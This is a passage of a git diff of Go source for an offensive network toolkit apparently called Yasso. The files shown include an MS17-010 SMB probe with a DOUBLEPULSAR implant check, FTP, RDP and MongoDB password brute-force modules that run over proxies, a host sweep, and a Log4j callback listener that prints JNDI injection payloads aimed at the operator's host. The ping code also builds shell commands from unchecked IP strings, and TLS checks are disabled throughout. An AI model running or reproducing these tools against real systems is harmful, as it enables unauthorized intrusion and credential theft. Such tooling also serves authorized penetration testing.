identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
}
}
// identify
if RequestRule == "DefaultRequest" {
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
url = DefaultTarget
} else if RequestRule == "CustomRequest" {
url = CustomTarget
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
}
var identifyResult string
var identifyResultNocolor string
for _, result := range identifyData {
if runtime.GOOS == "windows" {
identifyResult += "["+result+"]"+" "
} else {
identifyResult += "["+result+"]"+" "
}
}
for _, result := range identifyData {
identifyResultNocolor += "["+result+"]"+" "
}
Result := []IdentifyResult{
{successType, RespCode, identifyResult, identifyResultNocolor, url, RespTitle},
}
return Result
}
func checkHeader(url, responseHeader string, ruleHeader string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)"+ ruleHeader)
if len(grep.FindStringSubmatch(responseHeader)) != 0 {
//fmt.Print("[header] ")
return true
} else {
return false
}
}
func checkBody(url, responseBody string, ruleBody string, name string, title string, RespCode string) bool {
grep := regexp.MustCompile("(?i)"+ ruleBody)
if len(grep.FindStringSubmatch(responseBody)) != 0 {
//fmt.Print("[body] ")
return true
} else {
return false
}
}
func checkFavicon(Favicon, ruleFaviconMd5 string) bool {
grep := regexp.MustCompile("(?i)"+ ruleFaviconMd5)
if len(grep.FindStringSubmatch(Favicon)) != 0 {
// fmt.Print("url")
return true
} else {
return false
}
}

139
cmd/eternalblue.go Normal file
View File

@@ -0,0 +1,139 @@
package cmd
import (
"Yasso/config"
"encoding/binary"
"encoding/hex"
"fmt"
"net"
"strings"
"time"
)
//TODO:MS17010
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func Ms17010Conn(info config.HostIn) {
conn, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
//Println()("[!] New Connect failed",err)
return
}
status, err := RequestMs17010(conn,info.Host)
if err != nil {
//Println()("[!] Request Ms17010 failed",err)
return
}
if status == true {
return
}
}
func RequestMs17010(conn net.Conn,ip string)(bool,error) {
defer conn.Close()
err := conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return false,err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return false,err
}
reply := make([]byte,1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if binary.LittleEndian.Uint32(reply[9:13]) !=0 {
return false,err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return false,err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return false,err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
return false,fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip)
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "",-1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
conn.Write(treeConnectRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
conn.Write(transNamedPipeRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
Println(fmt.Sprintf("[+] %v Find MS17010 (%s)",ip,os))
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
conn.Write(trans2SessionSetupRequest)
if n, err := conn.Read(reply); err != nil || n < 36 {
return false,err
}
if reply[34] == 0x51 {
fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
}
return true,nil
} else {
fmt.Printf("%s\t \t(%s)\n", ip, os)
}
return false,nil
}

423
cmd/fasthttp.go Normal file
View File

@@ -0,0 +1,423 @@
package cmd
import (
"Yasso/config"
"bytes"
"crypto/md5"
"crypto/tls"
"fmt"
"golang.org/x/net/proxy"
"golang.org/x/text/encoding/simplifiedchinese"
"io/ioutil"
"net/http"
"net/url"
"path"
"regexp"
"strconv"
"strings"
"time"
"unicode/utf8"
)
//TODO: dismap RespLab
type RespLab struct {
Url string
RespBody string
RespHeader string
RespStatusCode string
RespTitle string
FaviconMd5 string
}
func FaviconMd5(Url string, timeout time.Duration, Path string) string {
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
Url = Url + "/favicon.ico"
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return ""
}
for key, value := range config.DefaultHeader {
req.Header.Set(key, value)
}
//req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6")
//req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
//req.Header.Set("Cookie", "rememberMe=int")
resp, err := client.Do(req)
if err != nil {
return ""
}
defer resp.Body.Close()
body_bytes, err := ioutil.ReadAll(resp.Body)
hash := md5.Sum(body_bytes)
md5 := fmt.Sprintf("%x", hash)
return md5
}
func DefaultRequests(Url string, timeout time.Duration)[]RespLab{
var redirect_url string
var resp_title string
var response_header string
var response_body string
var response_status_code string
var res []string
// 设置http请求客户端
var dial proxy.Dialer
var client *http.Client
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET",Url,nil)
if err != nil {
return nil
}
// 设置默认请求头
for key,value := range config.DefaultHeader {
req.Header.Set(key,value)
}
// 做http请求
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// 获取请求的状态马
var status_code = resp.StatusCode
response_status_code = strconv.Itoa(status_code)
//TODO: 根据请求来拦截状态码如果是30x则需要拦截url进行重定向
if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 {
// 进行重定向
redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求
if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 {
redirect_url = redirect_path
} else {
redirect_url = Url + redirect_path
}
var client *http.Client
if ProxyHost != ""{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
// 设置重定向请求
req, err := http.NewRequest("GET",redirect_url,nil)
if err != nil {
return nil
}
for key,value := range config.DefaultHeader {
req.Header.Set(key,value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
//TODO: 解决两次的30x跳转问题
var twoStatusCode = resp.StatusCode
responseStatusCodeTwo := strconv.Itoa(twoStatusCode)
if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 {
redirectPath := resp.Header.Get("Location")
if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 {
redirect_url = redirectPath
} else {
redirect_url = Url + redirectPath
}
var client *http.Client
if ProxyHost != "" {
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
req, err := http.NewRequest("GET", redirect_url, nil)
if err != nil {
return nil
}
for key,value := range config.DefaultHeader {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grepTitle := regexp.MustCompile("<title>(.*)</title>")
if len(grepTitle.FindStringSubmatch(response_body)) != 0 {
resp_title = grepTitle.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
for name,values := range resp.Header {
for _,value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _,re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
favicon5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{redirect_url, response_body, response_header, response_status_code, resp_title, favicon5},
}
return RespData
}
// get response body for string
bodyBytes, err := ioutil.ReadAll(resp.Body)
response_body = string(bodyBytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(bodyBytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
resp_title = grep_title.FindStringSubmatch(response_body)[1]
} else {
resp_title = "None"
}
// get response header for string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
for _, re := range res {
response_header += re + "\n"
}
faviconmd5 := FaviconMd5(Url, timeout, "")
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, resp_title, faviconmd5},
}
return RespData
}
func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab {
var respTitle string
// Splicing Custom Path
u, err := url.Parse(Url)
u.Path = path.Join(u.Path, Path)
Url = u.String()
if strings.HasSuffix(Path, "/") {
Url = Url + "/"
}
var client *http.Client
var dial proxy.Dialer
if ProxyHost != "" {
dial ,_ = ConnBySOCKS5()
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig:&tls.Config{InsecureSkipVerify: true},
Dial: dial.Dial,
},
}
}else{
client = &http.Client{
Timeout: time.Duration(timeout),
Transport: &http.Transport {
TLSClientConfig:&tls.Config{InsecureSkipVerify: true},
},
}
}
// Send Http requests
body_byte := bytes.NewBuffer([]byte(Body))
req, err := http.NewRequest(Method, Url, body_byte)
if err != nil {
return nil
}
// Set Requests Headers
for _, header := range Header {
grep_key := regexp.MustCompile("(.*): ")
var header_key = grep_key.FindStringSubmatch(header)[1]
grep_value := regexp.MustCompile(": (.*)")
var header_value = grep_value.FindStringSubmatch(header)[1]
req.Header.Set(header_key, header_value)
}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
// Get Response Body for string
body_bytes, err := ioutil.ReadAll(resp.Body)
var response_body = string(body_bytes)
// Solve the problem of garbled body codes with unmatched numbers
if !utf8.Valid(body_bytes) {
data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes)
response_body = string(data)
}
// Get Response title
grep_title := regexp.MustCompile("<title>(.*)</title>")
if len(grep_title.FindStringSubmatch(response_body)) != 0 {
respTitle = grep_title.FindStringSubmatch(response_body)[1]
} else {
respTitle = "None"
}
// Get Response Header for string
var res []string
for name, values := range resp.Header {
for _, value := range values {
res = append(res, fmt.Sprintf("%s: %s", name, value))
}
}
var response_header string
for _, re := range res {
response_header += re + "\n"
}
// get response status code
var status_code = resp.StatusCode
response_status_code := strconv.Itoa(status_code)
RespData := []RespLab{
{Url, response_body, response_header, response_status_code, respTitle, ""},
}
return RespData
}
//dismap 解析IP
func ParseUrl (host string,port string) string {
if port == "80" {
return "http://" + host
} else if port == "443"{
return "https://" + host
} else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 {
return "https://" + host + ":" + port
} else {
return "http://" + host + ":" + port
}
}

62
cmd/ftp.go Normal file
View File

@@ -0,0 +1,62 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/spf13/cobra"
"time"
)
var FtpCmd = &cobra.Command{
Use: "ftp",
Short: "ftp burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteFtpByUser()
}
},
}
func BruteFtpByUser(){
if BrutePort == 0 {
BrutePort = 21
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("ftp",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [ftp]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("ftp",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func FtpConn(info config.HostIn,user,pass string)(bool,error){
var flag = false
c, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),time.Duration(info.TimeOut))
conn, err := ftp.Dial(fmt.Sprintf("%v:%v",info.Host,info.Port),ftp.DialWithNetConn(c))
if err == nil {
err = conn.Login(user,pass)
if err == nil {
flag = true
}
}
return flag,err
}

167
cmd/grdp.go Normal file
View File

@@ -0,0 +1,167 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"sync"
"time"
)
var (
BruteDomain string
)
var RdpCmd = &cobra.Command{
Use: "grdp",
Short: "RDP burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteRdpByUser()
}
},
}
func init() {
RdpCmd.Flags().StringVar(&BruteDomain,"domain","","set host domain")
}
func BruteRdpByUser(){
if BrutePort == 0 {
BrutePort = 3389
}
var ips []string
var err error
if Hosts != "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("rdp",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [rdp]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("rdp",users,pass,ips,BrutePort,Runtime,TimeDuration,BruteDomain)
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改
func RdpConn(info config.HostIn,user, password string) (bool, error) {
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
g := NewClient(target, glog.NONE)
err := g.Login(info.Domain, user, password)
//var err
if err == nil {
return true, nil
}
//return true, err
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string) error {
// 这里做一下修改将dial.Timeout换成GetConn的代理连接
conn, err := GetConn(g.Host,5*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

153
cmd/icmp.go Normal file
View File

@@ -0,0 +1,153 @@
package cmd
import (
"bytes"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
tunnel = make(chan string,20)
OS = runtime.GOOS
Alive []string // 存活的ip列表
)
var pingCmd = &cobra.Command{
Use: "ping",
Short: "Use ping to scanner alive host (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will ping %d host",len(ips)))
_ = execute(ips)
},
}
func init(){
pingCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
pingCmd.Flags().BoolVarP(&RunICMP,"icmp","i",false,"Icmp packets are sent to check whether the host is alive(need root)")
rootCmd.AddCommand(pingCmd)
}
func execute(ips []string) []string {
var wg sync.WaitGroup
go func() {
for _,ip := range ips{
tunnel <- ip
}
}()
for i:=0;i<len(ips);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
if RunICMP == true{
if icmp(ip) {
Println(fmt.Sprintf("[+] Find %v (icmp)",ip))
Alive = append(Alive,ip)
}
}else{
if ping(ip){
Println(fmt.Sprintf("[+] Find %v (ping)",ip))
Alive = append(Alive,ip)
}
}
wg.Done()
})
}
wg.Wait()
return Alive
}
func ping(ip string) bool {
var cmd *exec.Cmd
switch OS {
case "windows":
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ ip +" && echo true || echo false")
case "linux":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false")
case "darwin":
cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false")
}
info := bytes.Buffer{}
cmd.Stdout = & info
err := cmd.Start()
if err != nil {
return false
}
if err = cmd.Wait();err != nil {
return false
}else{
if strings.Contains(info.String(),"true"){
return true
}else{
return false
}
}
}
func icmp(host string) bool{
conn, err := net.DialTimeout("ip4:icmp",host,1*time.Second)
if err != nil {
return false
}
defer func() {
_ = conn.Close()
}()
if err := conn.SetDeadline(time.Now().Add(1*time.Second)); err != nil {
return false
}
msg := packet(host)
if _, err := conn.Write(msg);err != nil {
return false
}
var receive = make([]byte,60)
if _, err := conn.Read(receive);err != nil {
return false
}
return true
}
func packet(host string)[]byte{
var msg = make([]byte,40)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4],msg[5] = host[0],host[1]
msg[6],msg[7] = byte(1 >> 8),byte(1 & 255)
msg[2] = byte(checksum(msg[0:40]) >> 8)
msg[3] = byte(checksum(msg[0:40]) & 255)
return msg
}
func checksum(msg []byte)uint16 {
var sum = 0
var length = len(msg)
for i:=0;i<length - 1 ;i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length % 2 == 1{
sum += int(msg[length - 1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
return uint16(^sum)
}

110
cmd/log4j.go Normal file
View File

@@ -0,0 +1,110 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"os/signal"
"strings"
"syscall"
)
/*
log4j扫描程序服务器,用来查看是否有漏洞
*/
var (
log4listenAddr string
)
var Log4jCmd = &cobra.Command{
Use: "log4j",
Short: "Open a socket listener to test log4J vulnerabilities offline",
Run: func(cmd *cobra.Command, args []string) {
if log4listenAddr == "" {
_ = cmd.Help()
}
t := strings.Split(log4listenAddr,":")
if len(t) == 2 {
Println(Clearln + "Press ctrl+c to shutdown")
go Log4jCheckServer(t[0],t[1])
c := make(chan os.Signal,1)
signal.Notify(c,os.Interrupt,syscall.SIGTERM)
<- c
Println(Clearln + "ctrl+c detected. Shutting down")
}
},
}
func init(){
Log4jCmd.Flags().StringVarP(&log4listenAddr,"bind","b","0.0.0.0:4568","socket listen address")
}
func Log4j2HandleRequest(conn net.Conn){
defer conn.Close()
buf := make([]byte,1024)
num, err := conn.Read(buf)
if err != nil {
Println(fmt.Sprintf(Clearln + "accept data reading err %v",err))
_ = conn.Close()
return
}
hexStr := fmt.Sprintf("%x",buf[:num])
// LDAP 协议
if "300c020101600702010304008000" == hexStr {
Println(fmt.Sprintf("[LDAP] %s Finger:%s",conn.RemoteAddr().String(),hexStr))
return
}
if RMI(buf) {
Println(fmt.Sprintf("[RMI] %s Finger:%x",conn.RemoteAddr().String(),buf[0:7]))
return
}
}
//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go
func RMI(data []byte) bool {
if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 {
if data[4] != 0x00 {
return false
}
if data[5] != 0x01 && data[5] != 0x02 {
return false
}
if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d {
return false
}
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}
func Log4jCheckServer(host string,port string){
listen, err := net.Listen("tcp",fmt.Sprintf("%s:%s",host,port))
if err != nil {
Println(Clearln + "log4j listen server failed")
return
}
defer listen.Close()
//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
Println(Clearln + "[payload]: ")
Println(fmt.Sprintf(Clearln + "==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}",host,port))
Println(fmt.Sprintf(Clearln + "==> ${${::-j}ndi:rmi://%v:%v/poc}",host,port))
Println(fmt.Sprintf(Clearln + "==> ${jndi:ldap://%v:%v/poc}",host,port))
Println("-----------------------------------")
for {
conn, err := listen.Accept()
if err != nil {
Println(fmt.Sprintf(Clearln + "accept failed %v",err))
continue
}
go Log4j2HandleRequest(conn)
}
}

32
cmd/logger.go Normal file
View File

@@ -0,0 +1,32 @@
package cmd
import (
"fmt"
"os"
)
var FileName string
func Println(s string) {
fmt.Println(s)
file,err := os.OpenFile(FileName,os.O_APPEND|os.O_WRONLY,0666)
defer file.Close()
if err != nil {
fmt.Println("[!] open log file failed",err)
return
}
file.WriteString("\n"+s)
}
func CreateLogFile(filename string) {
FileName = filename
_, err := os.Stat(filename)
if err != nil {
file,err := os.Create(filename)
if err != nil {
fmt.Println("[!] create log file failed",err)
return
}
defer file.Close()
}
}

125
cmd/mongo.go Normal file
View File

@@ -0,0 +1,125 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"net"
"strings"
"gopkg.in/mgo.v2"
"time"
)
var MongoCmd = &cobra.Command{
Use: "mongo",
Short: "MongoDB burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
}else{
BruteMongoByUser()
}
},
}
func BruteMongoByUser(){
if BrutePort == 0 {
BrutePort = 27017
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mongodb",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mongodb]")
Println(Clearln+"[*] MongoDB Authorized crack")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mongodb",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func MongoAuth(info config.HostIn,user,pass string)(bool,error){
conf := &mgo.DialInfo{
Dial: func(addr net.Addr) (net.Conn, error) {
return GetConn(addr.String(),info.TimeOut)
},
Addrs: []string{fmt.Sprintf("%s:%d",info.Host, info.Port)},
Timeout: info.TimeOut,
Database: "test",
Source: "admin",
Username: user,
Password: pass,
PoolLimit: 4096,
Direct: false,
}
db, err := mgo.DialWithInfo(conf)
if err == nil {
err = db.Ping()
if err != nil {
return false,err
}
defer db.Close()
return true,nil
}
return false,err
}
func MongoUnAuth(info config.HostIn,user,pass string)(bool,error) {
var flag = false
